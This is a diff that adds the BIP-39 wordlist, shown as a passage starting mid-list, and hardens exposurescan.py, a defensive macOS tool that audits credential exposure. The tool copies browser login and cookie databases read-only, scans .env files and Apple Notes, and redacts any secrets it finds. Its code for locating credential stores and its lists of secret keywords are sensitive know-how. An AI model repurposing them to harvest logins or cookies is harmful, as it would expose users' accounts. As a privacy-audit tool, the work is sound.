+any +apart +apology +appear +apple +approve +april +arch +arctic +area +arena +argue +arm +armed +armor +army +around +arrange +arrest +arrive +arrow +art +artefact +artist +artwork +ask +aspect +assault +asset +assist +assume +asthma +athlete +atom +attack +attend +attitude +attract +auction +audit +august +aunt +author +auto +autumn +average +avocado +avoid +awake +aware +away +awesome +awful +awkward +axis +baby +bachelor +bacon +badge +bag +balance +balcony +ball +bamboo +banana +banner +bar +barely +bargain +barrel +base +basic +basket +battle +beach +bean +beauty +because +become +beef +before +begin +behave +behind +believe +below +belt +bench +benefit +best +betray +better +between +beyond +bicycle +bid +bike +bind +biology +bird +birth +bitter +black +blade +blame +blanket +blast +bleak +bless +blind +blood +blossom +blouse +blue +blur +blush +board +boat +body +boil +bomb +bone +bonus +book +boost +border +boring +borrow +boss +bottom +bounce +box +boy +bracket +brain +brand +brass +brave +bread +breeze +brick +bridge +brief +bright +bring +brisk +broccoli +broken +bronze +broom +brother +brown +brush +bubble +buddy +budget +buffalo +build +bulb +bulk +bullet +bundle +bunker +burden +burger +burst +bus +business +busy +butter +buyer +buzz +cabbage +cabin +cable +cactus +cage +cake +call +calm +camera +camp +can +canal +cancel +candy +cannon +canoe +canvas +canyon +capable +capital +captain +car +carbon +card +cargo +carpet +carry +cart +case +cash +casino +castle +casual +cat +catalog +catch +category +cattle +caught +cause +caution +cave +ceiling +celery +cement +census +century +cereal +certain +chair +chalk +champion +change +chaos +chapter +charge +chase +chat +cheap +check +cheese +chef +cherry +chest +chicken +chief +child +chimney +choice +choose +chronic +chuckle +chunk +churn +cigar +cinnamon +circle +citizen +city +civil +claim +clap +clarify +claw +clay +clean +clerk +clever +click +client +cliff +climb +clinic +clip +clock +clog +close +cloth +cloud +clown +club +clump +cluster +clutch +coach +coast +coconut +code +coffee +coil +coin +collect +color +column +combine +come +comfort +comic +common +company +concert +conduct +confirm +congress +connect +consider +control +convince +cook +cool +copper +copy +coral +core +corn +correct +cost +cotton +couch +country +couple +course +cousin +cover +coyote +crack +cradle +craft +cram +crane +crash +crater +crawl +crazy +cream +credit +creek +crew +cricket +crime +crisp +critic +crop +cross +crouch +crowd +crucial +cruel +cruise +crumble +crunch +crush +cry +crystal +cube +culture +cup +cupboard +curious +current +curtain +curve +cushion +custom +cute +cycle +dad +damage +damp +dance +danger +daring +dash +daughter +dawn +day +deal +debate +debris +decade +december +decide +decline +decorate +decrease +deer +defense +define +defy +degree +delay +deliver +demand +demise +denial +dentist +deny +depart +depend +deposit +depth +deputy +derive +describe +desert +design +desk +despair +destroy +detail +detect +develop +device +devote +diagram +dial +diamond +diary +dice +diesel +diet +differ +digital +dignity +dilemma +dinner +dinosaur +direct +dirt +disagree +discover +disease +dish +dismiss +disorder +display +distance +divert +divide +divorce +dizzy +doctor +document +dog +doll +dolphin +domain +donate +donkey +donor +door +dose +double +dove +draft +dragon +drama +drastic +draw +dream +dress +drift +drill +drink +drip +drive +drop +drum +dry +duck +dumb +dune +during +dust +dutch +duty +dwarf +dynamic +eager +eagle +early +earn +earth +easily +east +easy +echo +ecology +economy +edge +edit +educate +effort +egg +eight +either +elbow +elder +electric +elegant +element +elephant +elevator +elite +else +embark +embody +embrace +emerge +emotion +employ +empower +empty +enable +enact +end +endless +endorse +enemy +energy +enforce +engage +engine +enhance +enjoy +enlist +enough +enrich +enroll +ensure +enter +entire +entry +envelope +episode +equal +equip +era +erase +erode +erosion +error +erupt +escape +essay +essence +estate +eternal +ethics +evidence +evil +evoke +evolve +exact +example +excess +exchange +excite +exclude +excuse +execute +exercise +exhaust +exhibit +exile +exist +exit +exotic +expand +expect +expire +explain +expose +express +extend +extra +eye +eyebrow +fabric +face +faculty +fade +faint +faith +fall +false +fame +family +famous +fan +fancy +fantasy +farm +fashion +fat +fatal +father +fatigue +fault +favorite +feature +february +federal +fee +feed +feel +female +fence +festival +fetch +fever +few +fiber +fiction +field +figure +file +film +filter +final +find +fine +finger +finish +fire +firm +first +fiscal +fish +fit +fitness +fix +flag +flame +flash +flat +flavor +flee +flight +flip +float +flock +floor +flower +fluid +flush +fly +foam +focus +fog +foil +fold +follow +food +foot +force +forest +forget +fork +fortune +forum +forward +fossil +foster +found +fox +fragile +frame +frequent +fresh +friend +fringe +frog +front +frost +frown +frozen +fruit +fuel +fun +funny +furnace +fury +future +gadget +gain +galaxy +gallery +game +gap +garage +garbage +garden +garlic +garment +gas +gasp +gate +gather +gauge +gaze +general +genius +genre +gentle +genuine +gesture +ghost +giant +gift +giggle +ginger +giraffe +girl +give +glad +glance +glare +glass +glide +glimpse +globe +gloom +glory +glove +glow +glue +goat +goddess +gold +good +goose +gorilla +gospel +gossip +govern +gown +grab +grace +grain +grant +grape +grass +gravity +great +green +grid +grief +grit +grocery +group +grow +grunt +guard +guess +guide +guilt +guitar +gun +gym +habit +hair +half +hammer +hamster +hand +happy +harbor +hard +harsh +harvest +hat +have +hawk +hazard +head +health +heart +heavy +hedgehog +height +hello +helmet +help +hen +hero +hidden +high +hill +hint +hip +hire +history +hobby +hockey +hold +hole +holiday +hollow +home +honey +hood +hope +horn +horror +horse +hospital +host +hotel +hour +hover +hub +huge +human +humble +humor +hundred +hungry +hunt +hurdle +hurry +hurt +husband +hybrid +ice +icon +idea +identify +idle +ignore +ill +illegal +illness +image +imitate +immense +immune +impact +impose +improve +impulse +inch +include +income +increase +index +indicate +indoor +industry +infant +inflict +inform +inhale +inherit +initial +inject +injury +inmate +inner +innocent +input +inquiry +insane +insect +inside +inspire +install +intact +interest +into +invest +invite +involve +iron +island +isolate +issue +item +ivory +jacket +jaguar +jar +jazz +jealous +jeans +jelly +jewel +job +join +joke +journey +joy +judge +juice +jump +jungle +junior +junk +just +kangaroo +keen +keep +ketchup +key +kick +kid +kidney +kind +kingdom +kiss +kit +kitchen +kite +kitten +kiwi +knee +knife +knock +know +lab +label +labor +ladder +lady +lake +lamp +language +laptop +large +later +latin +laugh +laundry +lava +law +lawn +lawsuit +layer +lazy +leader +leaf +learn +leave +lecture +left +leg +legal +legend +leisure +lemon +lend +length +lens +leopard +lesson +letter +level +liar +liberty +library +license +life +lift +light +like +limb +limit +link +lion +liquid +list +little +live +lizard +load +loan +lobster +local +lock +logic +lonely +long +loop +lottery +loud +lounge +love +loyal +lucky +luggage +lumber +lunar +lunch +luxury +lyrics +machine +mad +magic +magnet +maid +mail +main +major +make +mammal +man +manage +mandate +mango +mansion +manual +maple +marble +march +margin +marine +market +marriage +mask +mass +master +match +material +math +matrix +matter +maximum +maze +meadow +mean +measure +meat +mechanic +medal +media +melody +melt +member +memory +mention +menu +mercy +merge +merit +merry +mesh +message +metal +method +middle +midnight +milk +million +mimic +mind +minimum +minor +minute +miracle +mirror +misery +miss +mistake +mix +mixed +mixture +mobile +model +modify +mom +moment +monitor +monkey +monster +month +moon +moral +more +morning +mosquito +mother +motion +motor +mountain +mouse +move +movie +much +muffin +mule +multiply +muscle +museum +mushroom +music +must +mutual +myself +mystery +myth +naive +name +napkin +narrow +nasty +nation +nature +near +neck +need +negative +neglect +neither +nephew +nerve +nest +net +network +neutral +never +news +next +nice +night +noble +noise +nominee +noodle +normal +north +nose +notable +note +nothing +notice +novel +now +nuclear +number +nurse +nut +oak +obey +object +oblige +obscure +observe +obtain +obvious +occur +ocean +october +odor +off +offer +office +often +oil +okay +old +olive +olympic +omit +once +one +onion +online +only +open +opera +opinion +oppose +option +orange +orbit +orchard +order +ordinary +organ +orient +original +orphan +ostrich +other +outdoor +outer +output +outside +oval +oven +over +own +owner +oxygen +oyster +ozone +pact +paddle +page +pair +palace +palm +panda +panel +panic +panther +paper +parade +parent +park +parrot +party +pass +patch +path +patient +patrol +pattern +pause +pave +payment +peace +peanut +pear +peasant +pelican +pen +penalty +pencil +people +pepper +perfect +permit +person +pet +phone +photo +phrase +physical +piano +picnic +picture +piece +pig +pigeon +pill +pilot +pink +pioneer +pipe +pistol +pitch +pizza +place +planet +plastic +plate +play +please +pledge +pluck +plug +plunge +poem +poet +point +polar +pole +police +pond +pony +pool +popular +portion +position +possible +post +potato +pottery +poverty +powder +power +practice +praise +predict +prefer +prepare +present +pretty +prevent +price +pride +primary +print +priority +prison +private +prize +problem +process +produce +profit +program +project +promote +proof +property +prosper +protect +proud +provide +public +pudding +pull +pulp +pulse +pumpkin +punch +pupil +puppy +purchase +purity +purpose +purse +push +put +puzzle +pyramid +quality +quantum +quarter +question +quick +quit +quiz +quote +rabbit +raccoon +race +rack +radar +radio +rail +rain +raise +rally +ramp +ranch +random +range +rapid +rare +rate +rather +raven +raw +razor +ready +real +reason +rebel +rebuild +recall +receive +recipe +record +recycle +reduce +reflect +reform +refuse +region +regret +regular +reject +relax +release +relief +rely +remain +remember +remind +remove +render +renew +rent +reopen +repair +repeat +replace +report +require +rescue +resemble +resist +resource +response +result +retire +retreat +return +reunion +reveal +review +reward +rhythm +rib +ribbon +rice +rich +ride +ridge +rifle +right +rigid +ring +riot +ripple +risk +ritual +rival +river +road +roast +robot +robust +rocket +romance +roof +rookie +room +rose +rotate +rough +round +route +royal +rubber +rude +rug +rule +run +runway +rural +sad +saddle +sadness +safe +sail +salad +salmon +salon +salt +salute +same +sample +sand +satisfy +satoshi +sauce +sausage +save +say +scale +scan +scare +scatter +scene +scheme +school +science +scissors +scorpion +scout +scrap +screen +script +scrub +sea +search +season +seat +second +secret +section +security +seed +seek +segment +select +sell +seminar +senior +sense +sentence +series +service +session +settle +setup +seven +shadow +shaft +shallow +share +shed +shell +sheriff +shield +shift +shine +ship +shiver +shock +shoe +shoot +shop +short +shoulder +shove +shrimp +shrug +shuffle +shy +sibling +sick +side +siege +sight +sign +silent +silk +silly +silver +similar +simple +since +sing +siren +sister +situate +six +size +skate +sketch +ski +skill +skin +skirt +skull +slab +slam +sleep +slender +slice +slide +slight +slim +slogan +slot +slow +slush +small +smart +smile +smoke +smooth +snack +snake +snap +sniff +snow +soap +soccer +social +sock +soda +soft +solar +soldier +solid +solution +solve +someone +song +soon +sorry +sort +soul +sound +soup +source +south +space +spare +spatial +spawn +speak +special +speed +spell +spend +sphere +spice +spider +spike +spin +spirit +split +spoil +sponsor +spoon +sport +spot +spray +spread +spring +spy +square +squeeze +squirrel +stable +stadium +staff +stage +stairs +stamp +stand +start +state +stay +steak +steel +stem +step +stereo +stick +still +sting +stock +stomach +stone +stool +story +stove +strategy +street +strike +strong +struggle +student +stuff +stumble +style +subject +submit +subway +success +such +sudden +suffer +sugar +suggest +suit +summer +sun +sunny +sunset +super +supply +supreme +sure +surface +surge +surprise +surround +survey +suspect +sustain +swallow +swamp +swap +swarm +swear +sweet +swift +swim +swing +switch +sword +symbol +symptom +syrup +system +table +tackle +tag +tail +talent +talk +tank +tape +target +task +taste +tattoo +taxi +teach +team +tell +ten +tenant +tennis +tent +term +test +text +thank +that +theme +then +theory +there +they +thing +this +thought +three +thrive +throw +thumb +thunder +ticket +tide +tiger +tilt +timber +time +tiny +tip +tired +tissue +title +toast +tobacco +today +toddler +toe +together +toilet +token +tomato +tomorrow +tone +tongue +tonight +tool +tooth +top +topic +topple +torch +tornado +tortoise +toss +total +tourist +toward +tower +town +toy +track +trade +traffic +tragic +train +transfer +trap +trash +travel +tray +treat +tree +trend +trial +tribe +trick +trigger +trim +trip +trophy +trouble +truck +true +truly +trumpet +trust +truth +try +tube +tuition +tumble +tuna +tunnel +turkey +turn +turtle +twelve +twenty +twice +twin +twist +two +type +typical +ugly +umbrella +unable +unaware +uncle +uncover +under +undo +unfair +unfold +unhappy +uniform +unique +unit +universe +unknown +unlock +until +unusual +unveil +update +upgrade +uphold +upon +upper +upset +urban +urge +usage +use +used +useful +useless +usual +utility +vacant +vacuum +vague +valid +valley +valve +van +vanish +vapor +various +vast +vault +vehicle +velvet +vendor +venture +venue +verb +verify +version +very +vessel +veteran +viable +vibrant +vicious +victory +video +view +village +vintage +violin +virtual +virus +visa +visit +visual +vital +vivid +vocal +voice +void +volcano +volume +vote +voyage +wage +wagon +wait +walk +wall +walnut +want +warfare +warm +warrior +wash +wasp +waste +water +wave +way +wealth +weapon +wear +weasel +weather +web +wedding +weekend +weird +welcome +west +wet +whale +what +wheat +wheel +when +where +whip +whisper +wide +width +wife +wild +will +win +window +wine +wing +wink +winner +winter +wire +wisdom +wise +wish +witness +wolf +woman +wonder +wood +wool +word +work +world +worry +worth +wrap +wreck +wrestle +wrist +write +wrong +yard +year +yellow +you +young +youth +zebra +zero +zone +zoo diff --git a/exposurescan/exposurescan.py b/exposurescan/exposurescan.py index a416abf..e1ba30f 100755 --- a/exposurescan/exposurescan.py +++ b/exposurescan/exposurescan.py @@ -28,22 +28,32 @@ (right of '=') is measured for length/entropy to score risk, then *immediately discarded* — never stored, never printed. - * Apple Notes : we report a note TITLE + matched CATEGORY only - (e.g. "Note 'Bank stuff' -> seed-phrase pattern"). - The matched substring is never emitted. - -Every user-facing string passes through redact() as a final chokepoint, which -strips anything value-shaped (long high-entropy runs, anything after '='), -so even an accidental leak in a path or title cannot escape. See the unit -tests in tests/test_redaction.py. + * Apple Notes : we report a note's PRIMARY KEY, title LENGTH, + modification date and matched CATEGORY. The title + itself is NEVER emitted — on macOS a Note has no + user-chosen title; ZTITLE1 is derived from the note's + FIRST LINE, so for the exact user this surface exists + for (someone who pasted a seed phrase into Notes) the + "title" IS the secret. + * PII filenames : a filename can itself be the PII ("visa 4111 ... .csv"). + Filenames are run through the PII patterns before + emission and withheld (hash + parent dir + size + + mtime) when they match. + +Every user-facing string passes through redact() as a final chokepoint. redact() +scrubs control characters, collapses the string to a single line, strips URI +userinfo, everything after '=', anything inside a sensitive-keyword proximity +window, BIP-39 seed-phrase runs, and long high-entropy runs — so even an +accidental leak in a path or title cannot escape. See tests/. SAFETY ------ - * Read-only. No network. No decryption. No writes outside a temp dir that is - deleted in a finally block. - * SQLite DBs are copied to a temp path and opened - `mode=ro&immutable=1` so a running browser/Notes.app cannot cause a - "database is locked" error and so we can never mutate the original. + * Read-only. No network. No decryption. No writes outside a temp file that is + deleted in __exit__, in an atexit handler, and on SIGINT/SIGTERM. + * SQLite DBs are copied to a 0600 temp path and opened `mode=ro`. + See the comment on _TempCopyConn for why `immutable=1` was REMOVED. + * Report files (--out / --json) are created 0600 and moved into place with + os.replace(), so a partially written credential map is never observable. PERMISSIONS ----------- @@ -56,7 +66,8 @@ ----- ./exposurescan.py # audit home dir, print markdown ./exposurescan.py --target ~/dev # scope .env/PII scan to a subtree - ./exposurescan.py --json report.json # also write a values-free JSON sidecar + ./exposurescan.py --json ~/.local/state/exposurescan/report.json + # values-free JSON sidecar (mode 0600) ./exposurescan.py --no-notes # skip the Apple Notes surface ./exposurescan.py --out report.md # write markdown to a file too @@ -68,6 +79,7 @@ from __future__ import annotations import argparse +import atexit import gzip import hashlib import json @@ -75,12 +87,14 @@ import os import re import shutil +import signal import sqlite3 import stat import sys import tempfile +import threading from dataclasses import dataclass, field -from datetime import datetime, timezone +from datetime import datetime, timedelta, timezone from pathlib import Path from urllib.parse import urlparse @@ -184,9 +198,187 @@ # --------------------------------------------------------------------------- # A "value-shaped" run: 20+ chars of base64/hex/token alphabet with no spaces. -_VALUE_SHAPE = re.compile(r"[A-Za-z0-9+/=_\-]{20,}") +# +# '/' is deliberately NOT in this class. With it, the run crosses path +# separators and `/Users/me/dev/some-project/.env` collapses to +# `<redacted>.env` — which destroys the one thing a Location line is for. +# Slash-bearing base64 blobs are still caught by _VALUE_SHAPE_LONG below, at a +# length no filesystem path realistically reaches without a '.' or a space. +_VALUE_SHAPE = re.compile(r"[A-Za-z0-9+=_\-]{20,}") +_VALUE_SHAPE_LONG = re.compile(r"[A-Za-z0-9+/=_\-]{40,}") + +# One narrow exemption from the shape rules: an UPPER_SNAKE_CASE identifier. +# `.env` KEY NAMES are the tool's primary output and routinely run past 20 chars +# (NEXT_PUBLIC_SUPABASE_ANON_KEY is 29), so without this the report degrades to +# a list of "<redacted>". The shape is deliberately unambiguous — every segment +# uppercase/digits, separated by underscores, no lowercase, capped at 64 chars. +# A credential in that shape does not occur in the wild; anything with a +# lowercase char, a hyphen, '+', '/' or '=' is NOT exempt and still dies. +_KEY_NAME_SHAPE = re.compile(r"^[A-Z][A-Z0-9]*(?:_[A-Z0-9]+)+$") + + +def _shape_sub(match: re.Match) -> str: + run = match.group(0) + if len(run) <= 64 and _KEY_NAME_SHAPE.match(run): + return run + return "<redacted>" + # Anything that looks like KEY=VALUE — we keep the key, nuke the value. -_ASSIGNMENT = re.compile(r"(=)\s*\S+") +# +# v0.1.0 BUG (fixed): this was `(=)\s*\S+`, which stops at the first space, so +# `wifi password = correct horse battery staple` became +# `wifi password = <redacted> horse battery staple` — three of the four words +# survived AND the literal "<redacted>" made the line read as sanitized. The +# value runs to end of line, so the pattern must too. +_ASSIGNMENT = re.compile(r"(=)\s*.+$", re.M) + +# Control characters (C0 minus \t\n, DEL, C1). ANSI escape sequences start with +# \x1b, which lives in this class — a title containing "\x1b[31m" would +# otherwise be replayed straight into the user's terminal. +_CONTROL_CHARS = re.compile(r"[\x00-\x08\x0b-\x1f\x7f-\x9f]") + +# scheme://user:password@host — the userinfo segment is a credential and holds +# no spaces, so neither the assignment rule nor the entropy rule catches it. +# `postgres://admin:hunter2@db.internal:5432/prod` passed through untouched. +_URI_CREDS = re.compile(r"(\b[A-Za-z][A-Za-z0-9+.\-]*://)[^\s/@]*@") + +# --- Proximity rule ------------------------------------------------------- +# A short, low-entropy secret next to a keyword ("PIN 4821", "password hunter2") +# is invisible to every shape-based rule. So: when a sensitive keyword appears +# as a whole word and is followed within PROXIMITY_WINDOW chars by a separator +# (':', '=' or whitespace) plus content, the rest of the LINE is redacted. +# +# The separator set deliberately excludes '-' and '_' so the tool's own +# vocabulary ("session-cookie host(s)", "seed-phrase", "STRIPE_SECRET_KEY") +# does not self-redact. +PROXIMITY_WINDOW = 64 +_PROXIMITY_RE: re.Pattern | None = None + + +def _proximity_re() -> re.Pattern: + global _PROXIMITY_RE + if _PROXIMITY_RE is None: + words = sorted( + {w.lower() for w in SENSITIVE_KEY_HINTS} + | {c.lower() for c in SENSITIVE_CONTENT_CATEGORIES}, + key=len, reverse=True, + ) + _PROXIMITY_RE = re.compile( + r"\b(?:" + "|".join(re.escape(w) for w in words) + r")\b(?=[:=\s])", + re.I, + ) + return _PROXIMITY_RE + + +# --- BIP-39 seed phrases -------------------------------------------------- +# A 12/24-word mnemonic is the single highest-value secret this tool can meet, +# and it is 100% invisible to shape-based redaction: every token is a short +# lowercase dictionary word and the longest unbroken run is ~8 chars. +# v0.1.0 emitted such a title BYTE-IDENTICAL. +# +# Wordlist source (verified 2048 lines, +# sha256 2f5eed53a4727b4bf8880d8f3f199efc90e58503646d9ff8eff3a2ed3b24dbda): +# https://raw.githubusercontent.com/bitcoin/bips/master/bip-0039/english.txt +BIP39_PATH = Path(__file__).resolve().parent / "bip39.txt" +SEED_RUN_MIN = 6 # >= 6 consecutive wordlist tokens => REDACT as a seed +# Detection (raising a P0 finding) uses a much higher bar than redaction. +# Redaction should over-fire; a false-positive P0 on an ordinary shopping list +# trains the user to ignore the report. Real mnemonics are 12/18/24 words. +SEED_DETECT_MIN = 11 +_BIP39_WORDS: frozenset[str] | None = None +_BIP39_WARNED = False +_WORD_TOKEN = re.compile(r"[A-Za-z]+") + + +def _bip39_words() -> frozenset[str]: + """Lazily load the BIP-39 English wordlist. Degrades to empty on failure.""" + global _BIP39_WORDS, _BIP39_WARNED + if _BIP39_WORDS is None: + try: + raw = BIP39_PATH.read_text(encoding="utf-8") + words = { + ln.strip().lower() for ln in raw.splitlines() + if ln.strip() and not ln.lstrip().startswith("#") + } + _BIP39_WORDS = frozenset(words) + except OSError: + _BIP39_WORDS = frozenset() + if not _BIP39_WORDS and not _BIP39_WARNED: + _BIP39_WARNED = True + # Names the missing FILE only. Never echoes the text that would + # have been checked against it. + print( + f"[exposurescan] warning: {BIP39_PATH.name} missing or empty; " + "seed-phrase redaction is DISABLED for this run.", + file=sys.stderr, + ) + return _BIP39_WORDS + + +def _redact_seed_phrases(text: str) -> str: + words = _bip39_words() + if not words: + return text + toks = list(_WORD_TOKEN.finditer(text)) + if len(toks) < SEED_RUN_MIN: + return text + out: list[str] = [] + cursor = 0 + run_start = 0 + i = 0 + n = len(toks) + while i < n: + if toks[i].group(0).lower() in words: + run_start = i + j = i + while j + 1 < n and toks[j + 1].group(0).lower() in words: + j += 1 + if (j - run_start + 1) >= SEED_RUN_MIN: + out.append(text[cursor:toks[run_start].start()]) + out.append("<redacted seed-phrase>") + cursor = toks[j].end() + i = j + 1 + else: + i += 1 + out.append(text[cursor:]) + return "".join(out) + + +def looks_like_mnemonic(text: str, min_run: int = SEED_DETECT_MIN) -> bool: + """ + True if `text` contains a long run of consecutive BIP-39 wordlist tokens. + + Found while writing the regression suite: SENSITIVE_CONTENT_CATEGORIES + only ever matched the LABEL ("seed phrase", "recovery phrase", "mnemonic"). + A note containing nothing but the twelve words — the actual catastrophic + case — was not detected at all. Detection was as broken as redaction. + """ + words = _bip39_words() + if not words: + return False + run = 0 + for tok in _WORD_TOKEN.findall(text): + if tok.lower() in words: + run += 1 + if run >= min_run: + return True + else: + run = 0 + return False + + +def _apply_proximity(line: str) -> str: + pat = _proximity_re() + m = pat.search(line) + if not m: + return line + tail = line[m.end():] + lead = len(tail) - len(tail.lstrip(" \t:=")) + if lead > PROXIMITY_WINDOW: + return line + if not tail[lead:].strip(): + return line # keyword ends the line; nothing to hide + return line[:m.end()] + " <redacted>" def shannon_entropy(s: str) -> float: @@ -219,17 +411,66 @@ def classify_value_prefix(value: str) -> str | None: def redact(text: str) -> str: """ - Final safety chokepoint. Strip anything value-shaped from any string that - is about to be shown to the user or written to a report. Defense in depth: - even if a code path forgot to drop a value, it cannot escape this funnel. + Final safety chokepoint. Every string that is about to be shown to the user + or written to a report passes through here. Defense in depth: even if a code + path forgot to drop a value, it cannot escape this funnel. + + Order matters. Structural neutralisation first (control chars, newlines), + then the rules that key off structure (URI userinfo, '=', keyword + proximity), then dictionary/shape rules that scan whatever is left. """ if text is None: return "" - # Kill "key = <value>" -> "key = <redacted>" - redacted = _ASSIGNMENT.sub(r"\1 <redacted>", text) - # Kill any remaining long high-entropy run. - redacted = _VALUE_SHAPE.sub("<redacted>", redacted) - return redacted + if not isinstance(text, str): + text = str(text) + + # 1. Control characters -> U+FFFD. Kills ANSI escapes (\x1b), NUL, and the + # C1 range before anything else can act on them or reach a terminal. + out = _CONTROL_CHARS.sub("�", text) + # 2. Collapse to ONE line. A newline in a note title or filename otherwise + # forges markdown structure ("\n### P0 — INJECTED FINDING"). + out = out.replace("\r", " ").replace("\n", " ") + # 3. scheme://user:pass@host + out = _URI_CREDS.sub(r"\1<redacted>@", out) + # 4. key = value (to end of line) + out = _ASSIGNMENT.sub(r"\1 <redacted>", out) + # 5. sensitive keyword + separator -> redact to end of line + out = _apply_proximity(out) + # 6. BIP-39 mnemonics + out = _redact_seed_phrases(out) + # 7. Any remaining long high-entropy run. Long/slash-bearing first, so a + # base64 blob is not chopped into per-segment "<redacted>" confetti. + out = _VALUE_SHAPE_LONG.sub(_shape_sub, out) + out = _VALUE_SHAPE.sub(_shape_sub, out) + return out + + +# Characters that let an interpolated string forge markdown structure. Escaped +# at the LEADING position (headings, blockquotes, lists), plus '|' and '`' +# anywhere (tables and code spans). +_MD_LEADING = "#>-|`+*=_" + + +def markdown_safe(text: str) -> str: + """redact(), then neutralise markdown metacharacters. One line, always.""" + s = redact(text) + s = s.split("\n")[0] + s = s.replace("`", "\\`").replace("|", "\\|") + if s[:1] in _MD_LEADING: + s = "\\" + s + return s + + +# Generated metadata (value SHAPES, counts, permission bits) is built entirely +# from ints and a fixed label vocabulary, so it never contains a secret and must +# not be fed to redact() — the proximity rule would eat labels like +# "AWS access key id". This validator is the belt to that suspenders: anything +# outside a conservative alphabet is dropped. +_SHAPE_ALLOWED = re.compile(r"[^A-Za-z0-9 ,.:;/+()\-]") + + +def safe_shape(text: str) -> str: + return _SHAPE_ALLOWED.sub("", text or "")[:120] # --------------------------------------------------------------------------- @@ -247,6 +488,12 @@ class Finding: pivot: str = "" # what an attacker pivots into remediation: str = "" # how to shrink the blast radius location: str = "" # path/origin (a NAME, never a value) + # Generated metadata about a value's SHAPE (lengths, entropy flag, prefix + # class). Built from ints + a fixed label vocabulary, so it is value-free by + # construction and is filtered through safe_shape() instead of redact() — + # redact()'s proximity rule would otherwise eat labels like + # "AWS access key id" and "Postgres connection URI". + shape: str = "" def hashed_id(self) -> str: """Stable, value-free id for week-over-week diffing in the JSON sidecar.""" @@ -263,6 +510,7 @@ def to_json(self) -> dict: "category": self.category, "count": self.count, "detail": redact(self.detail), + "value_shape": safe_shape(self.shape), "pivot": self.pivot, "remediation": self.remediation, "location": redact(self.location), @@ -285,11 +533,82 @@ def note(self, msg: str) -> None: # Shared helper: copy a (possibly locked) sqlite DB and open it read-only. # --------------------------------------------------------------------------- +_TEMP_SIDECARS = ("", "-wal", "-shm", "-journal") +_TEMP_PATHS: set[str] = set() +_TEMP_LOCK = threading.Lock() + + +def _register_temp(p: Path) -> None: + with _TEMP_LOCK: + _TEMP_PATHS.add(str(p)) + + +def _purge_temp(base: str) -> None: + for suffix in _TEMP_SIDECARS: + try: + os.unlink(base + suffix) + except OSError: + pass + + +def _cleanup_temps() -> None: + """Unlink every temp credential-DB copy we know about. Idempotent.""" + with _TEMP_LOCK: + bases = list(_TEMP_PATHS) + _TEMP_PATHS.clear() + for base in bases: + _purge_temp(base) + + +atexit.register(_cleanup_temps) + + +def _install_signal_handlers() -> None: + """ + A SIGTERM/SIGINT mid-copy would otherwise orphan a plaintext copy of the + browser's Login Data in TMPDIR, with no process left to clean it up. + atexit alone does not run on a signal. + """ + if threading.current_thread() is not threading.main_thread(): + return + + def _handler(signum, _frame): + _cleanup_temps() + raise SystemExit(128 + signum) + + for sig in (signal.SIGTERM, signal.SIGINT, getattr(signal, "SIGHUP", None)): + if sig is None: + continue + try: + signal.signal(sig, _handler) + except (ValueError, OSError, RuntimeError): + pass + + class _TempCopyConn: """ - Context manager that copies an sqlite file to a temp path and opens it - read-only + immutable, so a running app can't lock us out and we can never - mutate the original. Temp file is deleted in __exit__. + Context manager that copies an sqlite file to a private 0600 temp path and + opens it read-only, so a running app can't lock us out and we can never + mutate the original. Temp file is deleted in __exit__, on an exception + inside __enter__, at process exit, and on SIGINT/SIGTERM/SIGHUP. + + WAL / immutable tradeoff (v0.1.0 bug, decided in v0.1.1) + ------------------------------------------------------- + v0.1.0 copied the -wal sidecar AND opened with `mode=ro&immutable=1`. + `immutable=1` tells SQLite the file cannot change, so it skips WAL recovery + entirely and reads only the main database. Measured: a DB with 50 rows + parked in an uncheckpointed WAL reported "no such table" under + `immutable=1` and the correct 50 rows under plain `mode=ro`. In other + words the tool silently UNDER-COUNTED the most recent logins and cookies — + in a report whose entire output is a risk score. + + Decision: keep the -wal copy, DROP `immutable=1`. + * Cost of dropping it: SQLite needs to create a -shm next to the copy and + may replay the WAL. Both happen inside our own temp dir, on our own + 0600 copy — never on the user's file, which we only ever read via + shutil.copyfile. The -shm is registered for cleanup like the rest. + * Cost of the alternative (dropping the -wal copy): the report keeps + lying about recency, which is the failure mode that matters. Rejected. """ def __init__(self, src: Path): @@ -301,34 +620,48 @@ def __enter__(self) -> sqlite3.Connection: fd, tmp_name = tempfile.mkstemp(prefix="exposurescan_", suffix=".sqlite") os.close(fd) self.tmp = Path(tmp_name) - shutil.copy2(self.src, self.tmp) - # Some browser DBs ship -wal/-shm sidecars; copy if present so the - # read sees a consistent snapshot. - for sidecar in (".sqlite-wal", "-wal", ".sqlite-shm", "-shm"): - cand = Path(str(self.src) + sidecar.replace(".sqlite", "")) - # best-effort; ignore if absent - try: - if cand.exists(): - shutil.copy2(cand, Path(str(self.tmp) + sidecar.replace(".sqlite", ""))) - except OSError: - pass - uri = f"file:{self.tmp}?mode=ro&immutable=1" - self.conn = sqlite3.connect(uri, uri=True) + _register_temp(self.tmp) + try: + # copyfile, NOT copy2. copy2 runs copystat, which replays the + # SOURCE's mode onto the destination — widening mkstemp's 0600 back + # to Login Data's 0644 and leaving a world-readable plaintext copy + # of the credential DB in TMPDIR for the life of the scan. + shutil.copyfile(self.src, self.tmp) + os.chmod(self.tmp, 0o600) + for suffix in ("-wal", "-shm"): + cand = Path(str(self.src) + suffix) + try: + if cand.exists(): + dst = Path(str(self.tmp) + suffix) + shutil.copyfile(cand, dst) + os.chmod(dst, 0o600) + except OSError: + pass + uri = f"file:{self.tmp}?mode=ro" + self.conn = sqlite3.connect(uri, uri=True) + except BaseException: + # A TCC PermissionError (or Ctrl-C) mid-copy must not orphan a + # partial credential DB in TMPDIR. + self._cleanup() + raise return self.conn - def __exit__(self, *exc) -> None: + def _cleanup(self) -> None: try: if self.conn is not None: self.conn.close() + except sqlite3.Error: + pass finally: + self.conn = None if self.tmp is not None: - for suffix in ("", "-wal", "-shm"): - p = Path(str(self.tmp) + suffix) - try: - if p.exists(): - p.unlink() - except OSError: - pass + base = str(self.tmp) + _purge_temp(base) + with _TEMP_LOCK: + _TEMP_PATHS.discard(base) + + def __exit__(self, *exc) -> None: + self._cleanup() # --------------------------------------------------------------------------- @@ -462,7 +795,10 @@ def scan_browser_logins(result: ScanResult) -> None: result.add(Finding( surface="browser-login", tier="P2", - name=f"{len(hv)} high-value session-cookie host(s)", + # Worded so the proximity rule has nothing to truncate: + # "cookie"/"session" are themselves sensitive keywords, so + # they must not be followed by content on this line. + name=f"{len(hv)} high-value host(s) with saved session-cookies", category="session-cookie", count=len(hv), detail="hosts: " + ", ".join(hv[:8]) + ("…" if len(hv) > 8 else ""), @@ -479,29 +815,63 @@ def scan_browser_logins(result: 